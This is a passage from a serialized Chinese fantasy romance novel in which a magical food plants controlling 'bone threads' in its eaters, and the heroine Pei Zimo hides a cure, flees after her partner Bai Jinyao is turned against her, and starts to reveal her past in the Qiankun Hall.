“他们会死,然后这黑线随着他们尸体的腐败,最终也会腐烂。” “这件事在东凉国已经引发了极大的恐慌,因为吃过那特产的人,不在少数。尤其是达官显贵,吃的更多。我也找过一个吃过那特产但是还没被控制过的人,割开了他的皮肉,里面的黑线已经断断续续的在形成了。” “我从没有听说过这样的事,也不知道该怎么解决,所以就想着来找你问问。” “我本想把一段剥离出来的黑线带过来给你看看,可那黑线离开皮肉没多久,就化成了一股水,根本没办法带过来。” 顿了顿,楚星玄又问,“所以他们也来天风国了是么?也有这种特产?有人吃过了吧?” 裴子墨和白锦夜对视了一眼,心底冒出了一丝不好的预感。这种特产流入,不少人都想吃个新鲜,甚至于肃亲王府也买入了一些。 片刻后,裴子墨伸出胳膊,撩开袖子,“你看看,我身体里有没有。” 第475章 三不吃 楚星玄有些惊讶地看着裴子墨,动也没动一下。 见他不动,裴子墨只能看向白锦夜。 白锦夜犹豫了半响,反正府上也不是裴子墨一个人吃过,他不舍得在裴子墨的身上划一下,但总能找别人试试,再不济,他自己也行,于是拿出凌迟刀,就要割开自己的胳膊。 “看你的没用。”裴子墨阻止他,“这世上没什么东西能强横过你身上的那些阵法,只要我不死,没有任何其他人控制你。况且以冥尸的血肉,那东西在你身体里不一定能存活。”她说着朝白锦夜伸手,“你把凌迟刀给我。” 白锦夜沉默了会,才把凌迟刀递了过去。 裴子墨在胳膊的几处穴位先下了针止疼止血,随后才割开皮肤。 楚星玄见她自己已经动手了,便不客气了,从她手里拿过凌迟刀,“我来,你这割得太浅了,看不到。” 白锦夜冷眼看向楚星玄,“你自己没吃过么?你没割开自己的皮肉看看么?” “我还真是没吃过。”楚星玄摇了摇头,“你也知道,我从小养蛊,所以对入口的东西比较谨慎,一般情况下,我辨别不出原材料的东西、叫不出名字的东西、不认识的东西,是绝对不会吃的。” “那你的人生还真是少了不少乐趣。”白锦夜冷哼一声。 “可也安全了不少。”楚星玄一手托着裴子墨的胳膊,“你这银针止疼的效果好吧?你可千万别叫出声。” 他一边说着话,还不等裴子墨回答,匕首就非常用力的划下去,这一刀就深可见骨。 白锦夜强行忍住一巴掌拍飞楚星玄的冲动,跟着他一起往伤口里面看。 但除了冒出来的鲜血,什么其他的东西都没有。 白锦夜当场就急了,一把推开楚星玄,赶紧叫司空拿药箱和缝针过来,“你不会是编故事呢吧?” “我编什么故事?”楚星玄踉跄了一下,站直身体,“我千里迢迢跑过来就是为了给你们编故事的么?”他说着拧了拧眉,顿了半响才道,“有没有可能是血莲?” 司空很快就拿了药箱过来,裴子墨自己处理伤口,瞥了司空一眼,司空顿时有一种不太好的预感。 果然下一刻白锦夜就开了口,“司空,你割开皮肉看看。” 司空看了眼裴子墨的伤口,白锦夜就顺着他的目光道,“对,就是那么深。” 说完又看向楚星玄,“如果司空身上也没有,看我不在你身上划个十几二十刀。 司空接过匕首,白锦夜的话对他来说就是军令,况且裴子墨都划了,他更没有拒绝的道理。 他这一刀下去,甚至比裴子墨的伤口更深。 楚星玄看了一眼,这才满意地退后几步,坐在椅子上,翘着腿看着白锦夜,”看,我没骗你。“ 裴子墨赶紧拽过司空的胳膊,用银针挑了一段黑线出来,就像楚星玄说的,这黑线离开了皮肉,没一会便化成水,很快就蒸发在空气里。 她拉过司空的另外一条胳膊,仔细的诊脉,但司空的脉象和他整个人看上去一样,没有任何异常。 这黑线也没有什么奇怪的气息,若不是割开皮肉,根本不可能发现。 裴子墨轻轻抿起唇,示意司空先下去处理伤口,此事也不要对任何人提起。 堂上剩下的三个人陷入了沉默。 隔了很久,楚星玄才重新开口,“怎么样,有什么想法么?” 裴子墨摇了摇头,纵然她已经恢复了以往所有的记忆,可对这东西,却还是闻所未闻。 “你说的吹奏乐器的那个黑袍人,他是什么时候开始出现在东凉国的?又控制那些人做了什么?”白锦夜开口问道。 “那个小国的人,一开始只是贩卖特产,到后来,应该是达到了一个什么样的程度,那个黑袍人才会出现,因为那特产不是吃上就会长出黑线,而是要吃得足够多,黑线才能遍布全身。被他们控制过的人,又会马上死掉,所以我感觉,一个城池,至少有一半的人能被控制的时候,黑袍人才会出现。” 楚星玄想了想又继续道,“目前他倒是也没做什么太多的事情,似乎只是在告诉所有人,他若是想,他就可以控制所有人。” 白锦夜皱起眉头,“我记得,裴子衿跟我说过,‘强国崛起’,难道说的就是这个小国么?” 裴子墨沉默了会,“你先去安排,把城中所有还在卖那些特产的摊贩全都控制起来,尤其是那个小国的商贩,让他们互相之间不要交流,然后问问他们这到底是什么,有没有什么办法解除。再给我找几个吃过这东西的死刑犯。”说完她看向楚星玄,“到时候你跟我一起去,听你的话,你已经找过一些人尝试了。” 楚星玄摸了摸鼻子,确实,他在东凉国就已经找人看过了,不过可没人给他提供死刑犯,他就在随意地找了几个当地的恶霸。 白锦夜安排了人手,又让司空带着裴子墨去了死牢,自己则是进了宫。 他进宫的时候,白风御正陪着皇后吃那小国“进贡”的特产水果,这水果在天风国是没有的,但格外的香甜,而且能存放时间很久,也不会腐坏。 白风御看到白锦夜来,还招呼他吃这水果。 可在听完白锦夜的话,又找了人亲眼看过之后,白风御恨不得把刚才吃过的东西全都吐出来。 皇后也脸色惨白的坐在一边,喃喃自语,“天呐,这盛京城还有没吃过这些东西的人么?” “王妃那边,已经在想办法处理了。”白锦夜开口道,“现在只要那个黑袍人没出现,我们就还有时间,一定有办法的。” 白风御脸色难看地点了点头,“这件事万不能传出去,引起恐慌,就先看王妃这边有没有什么办法吧。” 白锦夜点点头,从皇宫里出来,就直奔死牢去找裴子墨。 他刚一进去,就见裴子墨笑着看着他,“我刚才用了血莲晶露,是有效的,那黑线遇到血莲晶露就消失了,而且不会再长出来。” 白锦夜也是一喜,可随后就听楚星玄道,“那你也得有那么多血莲晶露才行啊,刚才用了一瓶,这个人身上的黑线才去掉了一少半。整个盛京这么多人,还有其他地方呢?” 第476章 我们拜过堂 “这确实是个问题。”裴子墨点点头,“但现在起码有点头绪,至少我们知道,这东西不是无解的。” 她说着皱了下眉,“可我只剩下三瓶血莲晶露了。”说完她转头看了看白锦夜,轻轻叹了口气,“得把凌珞叫回来了。” 血莲生出晶露,都是在温养之后,但如果想要生出大量的晶露,就得有足够的血来温养。 白锦夜一个人肯定是不够的。 在没有其他的办法之前,也只能用这个办法先抗一抗,起码能救一个是一个。 她的本命玉佩之前放在凌珞身上,后来没提过这事,她也就没拿回来,现在倒是方便了。 随后她又找到袁澈,按照眼前的情况看,那个小国必然也去过西夜国了,鬼王沙漠虽然不容易过,但这个小国的人看着也邪门,万一有什么方法能过去,那北冥国同样也难以避免。 归根到底,袁澈也是国君,不能袖手旁观。 她给袁澈用了两瓶血莲晶露,便让他赶紧出发了。 一直到深夜,裴子墨都没有睡意,坐在桌边,对着桌子上仅剩的一瓶血莲晶露发呆。 “子墨,还没睡么?” 裴子墨抬起眼,看着门外的人影,“没有,进来吧。” 白锦夜推开门,见到桌面上的血莲晶露就知道她还在为这件事发愁,“看你房里的灯还亮着。” “睡不着。”裴子墨顿了顿,又叹了口气,“本来以为能休息一段时间,结果又闹出这事。” 白锦夜走到她旁边坐下来,“抓起来的商贩,什么都不肯承认,只说这就是他们那边的特产,他们平时自己也吃,为了证明自己的清白,甚至当着审讯人的面,吃了不少。” 裴子墨轻轻皱了一下眉头,没有说话。 “我也让人割开他们的皮肉看了,他们身上没有这黑线,也可能是他们以前从来没吃过,刚刚吃了一些,黑线也不会那么快长出来。”白锦夜继续道,“不过也还有另外一种可能,就是他们是清楚这东西的,但是他们有解决的办法。” 裴子墨轻轻地点了点头,“就像圣湖水和清心草,只要搭配着吃,不仅不会出问题,还能强身健体,而单独喝圣湖水,就会变成肉尸,可以被人控制。这种特产,莫非跟圣湖水有什么关联?” “圣湖水是怎么来的?”白锦夜问道。 “传说太多了……”顿了顿,裴子墨站起来,“但血莲的种子好像就是凌珞从圣湖水里拿出来的。”她说着看向白锦夜,“你之前不是和凌珞聊过血莲的事,他都说什么了?” “只是说了些需要注意的事情。”白锦夜轻咳了一声,随即转移话题,“那是等凌珞来,还是我们可以先去北冥国的圣湖那里看看?” 裴子墨知道他在血莲的事上有所隐瞒,但也没有再继续问下去,“如果我们这种猜测是对的,这种东西都要搭配着吃,那他们当着审讯的人的面吃了那么多,要么是他们身上带了解药,要么就是这解药只要在一定时效内吃就可以,所以他们才会放心的以身试毒。” “送入大牢之前,他们的身上都被检查过了,不可能带了东西进去。”白锦夜开口道,“我让人放两个人出来,然后找人盯着他们。” 裴子墨点点头。 “不过这么晚了,今天肯定是不行了。”白锦夜又道,“等明天一早,我让人再假装审讯一次,不管问出什么来,都会找个理由把人放了,若是让他们觉察出来什么,估计盯梢就没用了。” “好。”裴子墨收起桌上的血莲晶露。 “那早点睡吧。”白锦夜也站起身,准备离开。 这么久以来,除了一些特殊的情况,两个人在同一个房间休息以外,他们大部分时候还是分开睡。 裴子墨看着他走到门口,顿了下才叫住他。 只是等白锦夜转过身,她也没再说话。 白锦夜停在门口,沉默了一会,又走了回来,“那不然……我留下睡?” 裴子墨也没说话,只是转身走向床铺,显然是默许了。 白锦夜唇角勾起一抹笑,也跟了过去。 躺在床上,裴子墨微微侧着身,目光在白锦夜的脸上转了一圈,才低声道,“我最近其实挺想找个人聊聊。” “你想聊什么?”白锦夜看着她。 “不知道。”裴子墨摇了摇头,“也不知道想聊些什么,可能就是想随便说说话。”她说着顿了顿,“我们从遁世岛出来到现在,过了这么多年,其实很多小事都没了印象,更多的事情记得模模糊糊,如果不是别人提起来类似的事,恐怕也都不记得了。到最后,能记住的,也不过就是那么几件大事。” “如果再过一些年,再转世几次,恐怕也没什么事能记住了。” 白锦夜轻轻皱了一下眉头,伸手握住她的手,“但我会记得你,就算我不记得了,可若是我能再遇到你,也还是一样会喜欢你。” 裴子墨笑了笑,“你不用这么严肃,我就随便想想,随便说说。可能因为大长老和九长老的事情解决,我最大的心病没有了,就开始胡思乱想。” 她说着抬起手,指腹轻轻抚过白锦夜的眉眼,“等一切都结束了,你有没有想过去做什么?” “你去哪,我就去哪,你想做什么,我都陪着你。”白锦夜握住她的手,放在唇边,轻轻地吻了一下,“我虽然只恢复了一部分记忆,但在我恢复这些记忆中,都没有任何关于我们拜堂成亲的画面,等一切结束了,我们先把婚事补上。” 白锦夜的这句话,让裴子墨想起了什么,她越过他的肩头,看向桌上的烛火,过了好半天,才低声道,“我们拜过堂,只不过拜堂到一半,就被人打断了。” 她说着轻轻眯了下眼,“之后还真是没再考虑过拜堂成亲的事。” 白锦夜闻言眼里闪过一抹不悦,“宁拆十座庙,不拆一桩婚,谁这么招人恨?” 裴子墨的目光转回到白锦夜的脸上,“很快你就会知道了。” 第477章 附骨线 白锦夜还想说什么,裴子墨却凑了上来。 双唇相接,白锦夜便再也没办法控制和压抑自己心中所想…… 第二天早上,楚星玄等了许久,才见白锦夜和裴子墨从房里出来。 本想抱怨他们怎么起这么晚,但脸色突然变得古怪起来,“不是吧?现在出了这么大事,你俩居然有心情……”他无语地摇了摇头。 白锦夜心情好,不跟他一般见识,“事情不解决,难道我们还不过日子了?” “过过过。”楚星玄摆了摆手,然后看向裴子墨,“我就是昨晚睡不着,想到了圣湖水的事,你说这个跟圣湖水和清心草是不是很像?” 裴子墨点点头,“昨晚我们也想到了这个。” 楚星玄撇了撇嘴,白锦夜知道个什么,她想到的事,现在都要带上白锦夜了,“万物相生相克,所以一定有解决办法,如果我们知道去那个小国的路线,说不定就能找到解药。” “道理是没错,但是我们去那里,不知道要多久,就算到了,也不知道是不是能找到解药,这样太过冒险,这中间万一发生什么事,我们都来不及回援。”裴子墨当即否决了他的这个提议。 楚星玄笑了笑,“但是你不是叫了凌珞回来么?不然这样,我和凌珞去找那个小岛,你们留下来想办法。”顿了顿又补充,“不过我们去那边,人生地不熟的肯定危险,就让寒羽和紫翅天鹏跟我们一起去,怎么样?” 裴子墨摇了摇头,转头看向白锦夜,“你去忙吧。” 昨晚说要放走几个商贩的事,还要他去安排。 “嗯,有什么发现,我通知你。”白锦夜说完,就出了府。 楚星玄目送着白锦夜离开,隔了好一会,才收起脸上的笑容,“裴子墨,这可不像你。” “怎么?”裴子墨抬眼看他。 “以你这么谨慎的性子,可不会在这个时候,跟白锦夜迈出这一步。”他说着顿了顿,“是真的情之所至,还有……你又在打算什么事?” 裴子墨也收起嘴角的笑容,“有时候太聪明,可不是什么好事。” “就是了。”楚星玄点点头,“可我觉得白锦夜也不傻,你说呢?就算他现在被情情爱爱的冲昏了头脑,但总会冷静下来吧?等他冷静了,也一样会发现事情不太对的地方,是不是?” 裴子墨看着楚星玄,没说话。 “东凉国的情况,比天风国坏很多。”楚星玄继续道,“把解药给我,我现在带着解药离开,你和白锦夜之间的事,我不管也当不知道,但如果你不给我解药,我可就要好好提醒下白锦夜了。” “我不知道你在说什么。”裴子墨说着站起身,就要离开。 “裴子墨。”楚星玄摸上腰间的玉笛,“我不想跟你翻脸。” “翻脸?你想跟我翻脸,也得看看你有没有这个本事。”裴子墨的手一翻,楚星玄腰间的玉笛就到了她手上。 楚星玄的脸色变了变,上一次在血域的山洞里,裴子墨用这笛子做过的事,他还记得。 裴子墨一手拿着玉笛,另外一只手在玉笛上轻轻敲了一下,玉笛顷刻间就化成了一堆粉末落在地上。 楚星玄往后退了几步,警惕地看着她。 裴子墨轻笑了一声,手心朝下,在粉末上看似随意的扫了一圈,再翻过掌心,玉笛又完好无损的出现在她手上。 她挥了挥手,玉笛就重新回到了楚星玄的腰间。 “你到底……是谁?”楚星玄抿着唇,脸上没什么血色,“我刚才,猜对了是么?你知道那是什么东西,你也有办法解开,是么?” “猜的啊。”裴子墨又笑了笑,她转身往楚星玄的跟前走。 楚星玄下意识地往后退,一直退到椅子边,微微往后仰了一下,重新坐回了椅子上。 裴子墨双手搭在椅子的扶手上,微微弯腰看着他,“楚星玄,你从小就聪明,可聪明的人,应该知道什么能说,什么不能说。在这之前,我们有来有往的互相帮忙,不是挺好的么?” “可我现在知道,你好像不需要我帮什么忙。”楚星玄抬头看着她。 “怎么会呢?我那时候,确实需要你帮忙。”裴子墨的指尖轻轻敲了敲椅子扶手,“那你再猜一猜,我现在会对你做什么?” 楚星玄没说话,不想让他说话,当然就是灭口。 裴子墨随即抬起手。 楚星玄转头看去,就见到她手心上,慢慢汇聚了一小段黑线。 “这叫跗骨线,是乾坤殿用来控制人最常见的一种手段。”裴子墨慢慢地解释道,“若是放在乾坤殿,被控制后其实不会死,只是这里的人,身体太弱了。但你也是从小修习术法,楚云颂为了能让你这身体将来顺利的成为他的替身,也一直帮你淬体,你说你若是被跗骨线控制了,是也会当场就死掉,还是能扛一扛?” “你到底想做什么?”楚星玄紧抿着唇,又往后躲了躲。 “我什么都不想做,但若是有人逼我,那我什么都做得出来。”裴子墨眯起眼。 楚星玄盯着她,还不等再说话,鬼卿就走了进来。 裴子墨握起手心的黑线,往后退了两步,转头看向鬼卿,表情又恢复了平时的模样,语气也温和了下来,“怎么了?” “我刚刚去了市集那边,因为卖特产的商贩都被抓起来,现在大家买不到东西吃,在市集那边闹了半响,现在说要去京兆府讨说法了。”鬼卿开口道。 “那东西吃了上瘾,也正常。”裴子墨说着转头扫了一眼楚星玄,眼神里多少带了警告,“我去看看。” 裴子墨出门,鬼卿自然也要跟上去。 “不用跟着我。”裴子墨开口道,“去看着他,让他半步不要离开房间,更不要跟任何人说话。” 鬼卿闻言微微有些诧异,但裴子墨的话,他自然照做。 楚星玄的后背都被冷汗湿透,回了房间都好半天没缓过神来。 他看着站在门口的鬼卿,慢慢地皱起眉头。 第478章 有道理,但不多 七天之后,凌珞就到了盛京。 他没有刻意地收起气息,所以他一进门,楚星玄就感受到了。 他赶紧跑到窗边,探出身子看向站在门口的鬼卿,“是不是凌珞来了?” 鬼卿看了他一眼,没说话。 因为裴子墨交代了,不让他跟任何人说话,所以他即便是跟鬼卿说话,鬼卿也不理他。 “你一直站在这,你不累么?我保证哪都不去,你去休息休息?”楚星玄又问。 鬼卿依旧没有说话。 “凌珞!”楚星玄扒着窗户朝外面大喊,“凌珞!” 鬼卿拧着眉走到他面前,“再喊一声,我就把你嘴封上。” 楚星玄趴在窗台上,“你可算说话了,鬼卿,你跟了裴子墨多久了?你了解她么?” 鬼卿重新侧过身,背对着楚星玄不说话了。 楚星玄看了看他,又问,“你听过……乾坤殿么?” 鬼卿眉心皱了一下,转头看过来的,“谁跟你说的?” “哦,原来你也知道乾坤殿。”楚星玄又往外面探了探,“你给我讲讲,那是什么地方,好玩么?” 鬼卿眯起眼,表情格外的凝重,他四下看了看,才压低了声音,“你不要再提起这三个字,裴子墨听见,会杀了你的。”说完他伸手就要把窗子关上。 楚星玄赶紧伸手扒住窗子,“诶诶诶,你不动脑子想一想,要不是裴子墨自己说的,我哪会知道这个啊?也是裴子墨跟你说的?”他说着停了下,才又道,“这几天我脑袋里就有个疑惑,但是现在终于想明白了。” “咱们在血域山洞的时候,裴子墨召唤了一个非常强大的魂魄碎片附体在自己身上,你当时好像说了句什么,‘你回来了’,你是这么说的吧?” “那会我觉得她不太对劲,所以想去阻拦,可是却被你拉住了,你示意我不要说话不要动。” “你早就知道什么对不对?你知道裴子墨的秘密,是不是?” “她……不,那个附在她身上的魂魄到底是谁?” “我最后说一遍,不要再提起那三个字,也不要再试图问什么。”鬼卿冷着脸,把窗子拉了回来,“嘭”的一声,用力关上。 关了窗子,楚星玄就转身靠在窗子上,“鬼卿,那我只问你一个问题,她是好人么?” 隔着窗子,鬼卿站在外面,垂眼看着地面。 楚星玄耐心地等了半响,也没听到回答,于是重重地叹了一口气,“行吧,在你眼里,肯定是好人。” “这世上,没有绝对的好人,也没有绝对的坏人。”又过了半天,鬼卿才道,“她做的事有利于你,你就会觉得她是好人,但她若是伤害了你,你就会觉得她是坏人。可如果伤害你的事,是她为了另外一个人做的,那另外一个人就会认为她是好人。” 楚星玄摸了摸下巴,“有道理,但有点像废话。” “所以,有些事不是非要探究。”鬼卿顿了顿,“她既然没杀你,只是让我看着你,你就别再挑战她的底线。” “我还以为遁世岛就已经是她最大的仇人了,现在又闹出个乾坤殿。”楚星玄叹了口气,“她这生活可真够丰富多彩的。” “遁世岛不是她的仇人。”鬼卿说着顿了顿,“那个地方也不是。” 楚星玄轻轻皱了下眉,没再说话。 空气沉默了半响,鬼卿才又道,“她有她的苦衷。” “可东凉国那么多人,还等着救命。”楚星玄又道。 鬼卿轻抿了下唇,“她会想办法的。” * 凌珞听说了事情始末,自然第一时间也想到了圣湖,但随即又想到了什么,到了嘴边的话,也没再说。 等第二天裴子墨和白锦夜离开,他循着气息,找到了鬼卿,不等鬼卿说话,他微微摆了摆手,鬼卿就自动让到了一边。 门被打开,楚星玄看到凌珞,多少有点激动。 听完楚星玄的话,凌珞走到窗边,看着外面,不知道在想些什么。 “你来找我,那肯定也是觉察到异常了是不是?”楚星玄看着他问,“你不打算去查一查或者找裴子墨问清楚么?”他说着又看向鬼卿,“你也能控制鬼卿,那你问问他,让他说出来。” 凌珞拧眉看着楚星玄,“就你这张嘴,还能活到现在真是个奇迹。” “怎么了?我想救人难道错了?”楚星玄拧起眉,“难道就这么看着那些中了跗骨线的人,慢慢死掉?” “死在你们暗城手里的人也不少,以前没什么同情心,现在倒是大发慈悲了。”凌珞看了他一眼,“想活着,想救人,从现在开始就管好你的嘴,不该说的不要说,不该问的不要问。” 说完便迈步出了房间。 楚星玄正要跟上去,却被迅速上前的鬼卿拦住,他气得骂了几声,又回了房间。 凌珞从院子里出来,刚走了几步,就见到裴子墨站在不远处的一棵树下看着他。他脚步微顿了会,朝着她走过去。 裴子墨见他从那里出来,也不诧异,只是问,“楚星玄都跟你说了?” 凌珞点了点头。 裴子墨笑了笑,“从北冥国出来的,都知道圣湖水和清心草,不用多说什么,就能把这两件事联系起来,你昨天就应该也想到了,但你什么都没说,我猜你今天就会来找楚星玄。” “你有什么打算?”既然已经被看穿,凌珞也就没解释什么。 “白锦夜给你的那本书,修习得怎么样了?”裴子墨没回答,而是反问道。 “一般,有些地方不太懂,正好这次可以问问他。”凌珞开口道。 裴子墨点了点头,转身要走,但也就走了两步,便停了下来,她转头看向凌珞,“这件事不要告诉白锦夜,两个月后,这些人我会救。” “好。”凌珞应了一声,又问,“你既然有安排,本来应该没必要叫我过来的。” “我怕等需要你过来的时候,再叫你就来不及了。”裴子墨低声道。 “子墨。”凌珞看着慢慢地道,“不管发生什么事,我都会站在你这边。” 裴子墨笑了笑,没再说话,迈步离开。 第479章 最后的封印 一开始白锦夜也没多想,但是时间慢慢地过去,他多少也觉得不太对劲了。 楚星玄被鬼卿看了起来,他询问过,裴子墨只说怕他冲动会起反作用。 再多问,裴子墨也不肯说了。 他去找过楚星玄,可楚星玄对自己被关着的这件事似乎也没什么反应,只是说自己在这里挺好的,有吃有喝,还有鬼卿陪着,什么都不用做,也就什么都不用操心。 楚星玄倒不是没有想过跟白锦夜说,可凌珞警告过他,说裴子墨承诺了两个月后会解决这件事,让他不要节外生枝。 他想了想,除此之外,也确实没别的办法了,只能赌裴子墨说话算话。 因为吃过那些特产的人闹得太凶,白锦夜跟白风御商量过,还是把那些商贩放了出来,但是每个商贩的身边,都派了人跟着,只要是买过这特产的人,都会一一记录下来。 他们也暗中盯了这些商贩很久,发现他们平时也会吃这些特产,但吃的其他的东西,也都很正常,没吃过特殊的东西。 只能推测是他们早就吃过解药,而且那解药可以一劳永逸。 按照楚星玄带来的消息,只要那黑袍人不出现,暂时就是安全的,所以除了进出城的人都会被严格排查以外,整个盛京又恢复了之前的平静。 两个月的时间,一晃而过。 凌珞也算是掐着时间,准时去找裴子墨。 白锦夜不在府里,裴子墨坐在后花园的凉亭,像是在发呆。 凌珞走过去她都没有发现,他轻轻地咳了一声,她才回过神来。 裴子墨吸了一口气,指了指自己对面的椅子,“坐吧。”随后才看着远处道,“按理说,我经历过这么多次轮回转世,活了这么多岁月,两个月的时间应该也不过就是一眨眼,但这一次,这两个月过得好慢。” 凌珞看着她,没有说话。 “我怀孕了。”裴子墨说着摸了摸自己的小腹。 “你就是在等这一天么?”凌珞开口问道。 裴子墨点了点头,“在这一世之前,为了准备这一世,我推算过很多事,但不管怎么推算,都只能算到大长老和九长老被我压在困阵之中,再往后,卦象一片混乱,什么都看不出来了。” “不然这一世还能早一点开始,可我在地府,又浪费了上百年,也始终没办法再多算出一件事,总不能这么耗着,事情总要开始,总要结束。” “后来遇到了那个老和尚,我才发现,我不管怎么算,这老和尚都不上卦,我算不出来关于他的任何事。甚至连萧尺寒那边也一样,在他能预见的未来里,也根本没有这个老和尚。” “我想,也许后来那些卦象那么混乱,就是因为有太多老和尚这样的人了。” 她说着,手在小腹上轻轻握成拳,“其实现在不是时候,可我看到跗骨线的时候,就知道,如果再不怀上这个孩子,就永远都没机会了。” 她的目光回到凌珞的身上,“凌珞,如果发生的事情不可控,你得把我带走。” “带去哪?”凌珞开口问道。 “地图,我给过你了。”裴子墨开口道。 “可那不是去遁世岛……”凌珞说着停了下来,“不是去遁世岛的图?” “以前是,后来不是了。”裴子墨笑了笑,“上次给你的时候,就换过了。” “你早就知道会有这一天,即便算卦算不出来,你心里也知道。”凌珞皱起眉头。 裴子墨没再说话。 “那白锦夜呢?”凌珞忍不住开口问道。 裴子墨微微皱了下眉头,转头看向大门的方向,“他回来了。” 凌珞转头看去,顿了顿,迅速地站起来,全身戒备,从白锦夜进门开始,他就感到了铺天盖地的杀气,这种杀气,绝对不是之前的白锦夜能散发出来的。 “你和他同宗同源,我只不过封印了你们之间的联系,现在我把这层封印解开,他有的,你也全都有。他杀不了你,你也杀不了他。我和你又共命,你不死,我也死不了。”裴子墨说着抬起手,在空中写下一道符咒,随即把这道银色的符咒打进了凌珞的身体里。 “他不清楚这件事,你也不要跟他动手,你唯一要做的,就是找个机会,把我从这里带走。” 凌珞看着裴子墨,半响才点了点头。 白锦夜也很快进了后花园,在他身后,跟着一个全身黑袍的人。 他一进门,目光就锁在了裴子墨的身上,眼里像是淬了毒。 这么大的杀气,其他人自然也都感受到了。 楚星玄推开窗子,“发生什么事了?” 鬼卿轻轻皱了一下眉头,拿出一瓶药递给楚星玄,“这是解跗骨线的药,滴一滴到水里,就能解上千人的跗骨线,省着点用。” 楚星玄看着他,“你什么意思?” “你去东凉国救人吧。”鬼卿又道。 “那你呢?”楚星玄问道。 “我去西夜国。”鬼卿顿了顿才说,“现在就走,也不要再回来。” 楚星玄拧起眉,“到底发生什么事了?那裴子墨呢?” 鬼卿一把抓住他的衣领,“你不是着急救人么?还在这里啰嗦什么?其他的事,跟你没关系,再不走,就走不掉了,东凉国的那些人,就只能等死。” 说完鬼卿也没再理他,转身迅速的向府外走去。 楚星玄咬了咬牙,低头看了看手里的药瓶,估摸着是裴子墨早就有安排,他便也没再耽搁,跟在鬼卿的身后,往外面跑去。 * 走到凉亭前,白锦夜便停了下来,看着依旧坐在那的裴子墨,“原来你一直不肯给我解开的,最后的封印,是这个。” 裴子墨抬眼看向他,“现在不是有人给你解开了么?”她说着目光落在黑袍人的身上,“国师,许久不见了。” 黑袍人低声笑了几声,摘掉斗篷上的帽子,露出了一头银发,“是啊,许久不见了,上一次我杀了一城的人,你也不敢露面,如今倒是长进了,不逃跑么?” 第480章 一切术法的起源 “逃去哪呢?”裴子墨站起来,往前走了两步,“国师,我一直有个问题想要问你,我做的事情,对还是不对?” 黑袍人眯眼看着她,没有说话。 “其实你也知道,我们的立场不同,站在我的角度,我做的事,并没有错。”裴子墨继续道。 “是啊。”黑袍人冷笑了几声,“那你想不想知道,你离开乾坤殿之后,乾坤殿是怎么样的?你的那些亲人,全都跟你划清界限,跪地求饶。这么多年以来,乾坤殿的人,都只是知道,他们曾经有一位女帝,骄奢淫逸,残害无辜,祸乱苍生,被斩杀于殿前,以慰百姓。” “成王败寇。”裴子墨也跟着笑了笑,“但事情好像还没有结束。” “今天,就会结束了。”黑袍人说着往后退了一步,“锦夜,你该为你的族人报仇了。” 白锦夜握着手里的剑,剑刃上泛着冷光。 “九殇。”裴子墨看着他手里的剑,“这可是当年我们的定情之物,大概它本来就不该叫这个名字,不吉利。” “白锦夜,她……” 凌珞正要说她怀了他的孩子,却被裴子墨一个眼神制止,他死死地拧着眉,往旁边退了一步。 白锦夜提着剑就往裴子墨的胸口刺来。 裴子墨却没躲也没挡。 白锦夜轻轻皱了下眉头,手下意识地抬高了几分,剑尖避开了胸口,刺进了她的肩头。 裴子墨看着他,“当年我用九殇刺了你一剑,可没刺偏,现在我给了你机会,这件事就算扯平了。” “你和我之间,扯得平么?”白锦夜眯起眼,手握着剑柄,又往前刺了几寸,剑直接刺穿了裴子墨的肩头。 “扯平一件算一件吧。”裴子墨轻笑了一声,抬手一掌打在白锦夜的肩头。 白锦夜倒飞而出,落在地上,踉跄了几步,被黑袍人抬手撑住后背,才稳住了身形。 裴子墨又看向黑袍人,“国师,他不是我的对手,不然就别浪费时间了,你亲自动手吧。” 黑袍人掌心之下,一道符咒渗入白锦夜的后背,又往前一推,“我看未必。” 裴子墨抽出七杀斩,只是七杀斩跟九殇只碰了两次之后就断成了两截。她自己也被剑气所伤,倒退几步撞在凉亭的石柱上,石柱被生生撞碎。 凌珞上前一步,却见裴子墨对他微微摇了摇头,他知道这是还不到时候,只能又收回了脚。 裴子墨扔下手里的断剑,抬手擦了擦嘴角的血,“国师,这与你亲自出手,有什么区别?” 黑袍人冷哼了一声,没有说话。 白锦夜抬起手,九殇从他手心抹过,沾了血的剑刃显得有些妖异,人也再次朝裴子墨冲过来。 裴子墨立起量天尺,挡住了九殇。 白锦夜眯眼看着她,黄泉路从他的脚下蔓延出来。 眼见着黄泉路即将接近裴子墨,她才喊了声,“凌珞!” 又一道黄泉路铺开,直接撞上了白锦夜的黄泉路。 很早之前,他们两个的黄泉路就撞过一次,那时候白锦夜根本不是凌珞的对手,若不是裴黎出手震慑,当时吃亏的,肯定是白锦夜。 但是这一次,两条路撞到一起,力量却不相上下。 白锦夜转头向凌珞看过去,分心片刻,裴子墨的指腹就按上了他的眉心,他脚下的黄泉路瞬间向后延伸,往黑袍人的方向包围过去。 “走。”裴子墨转身抓住凌珞的胳膊,翻出府外。 院墙外面,是早已经备好的马,上了马,凌珞就迅速的往城外赶去。 黑袍人见白锦夜突然倒戈,也发现了他是被裴子墨控制,不过有黄泉路的阻挡,他还是费了会功夫才破了裴子墨的控制,而这会,裴子墨的气息早就消失了。 他抬眼看着外面,“还以为骨头硬了,只是换个方式逃而已。”说完又打量着白锦夜,“你身上这控术精妙,这些年,她倒是没白活。不过,锦夜,你下次若是再对她手软,我就只能亲自动手了。” “我不会再手软了。”白锦夜轻轻皱了下眉头,“她藏身过的地方,我都知道,这就派人逐一去找。” 黑袍人点了点头,转身往外走。 隐了气息出了城,凌珞才放慢了速度,“要先处理一下伤口么?” “继续往南走,四十里外的山上,有个山洞,我们今晚住在那。”裴子墨开口道。 “逃跑的路线都安排得这么好,你还真是早就计划好了。”凌珞道。 裴子墨捂着肩头的伤口,没有说话。 到那处山洞的时候,天刚好黑了下来。 山洞里有裴子墨提前备好的药和食物,凌珞帮她包扎了伤口,又去捡了些干树枝打了只野鸡,在洞口点了一堆火顺便烤野鸡。 裴子墨坐在火堆旁,看着面前的火焰,低声道,“在转世到遁世岛之前,我生活的地方,叫乾坤殿,那里是一切术法的起源。” “在乾坤殿,分为皇族和巫族,皇族修习正统术法,巫族却尽是旁门左道。皇族管辖的地盘上百姓其乐融融,而巫族管辖的地方民不聊生。千百年来,双方一直相争相斗,各有伤亡。后来,双方签订了停战协议,由巫族的首领担任国师,土地合而为一,百姓也终于过上了安稳的日子。” “一开始,真的是一片祥和,处处欣欣向荣。可多年过去,皇族终于发现了异常,原来这一切都是巫族以退为进的手段,他们表面上同意休战,暗地里却在不断的渗透。” 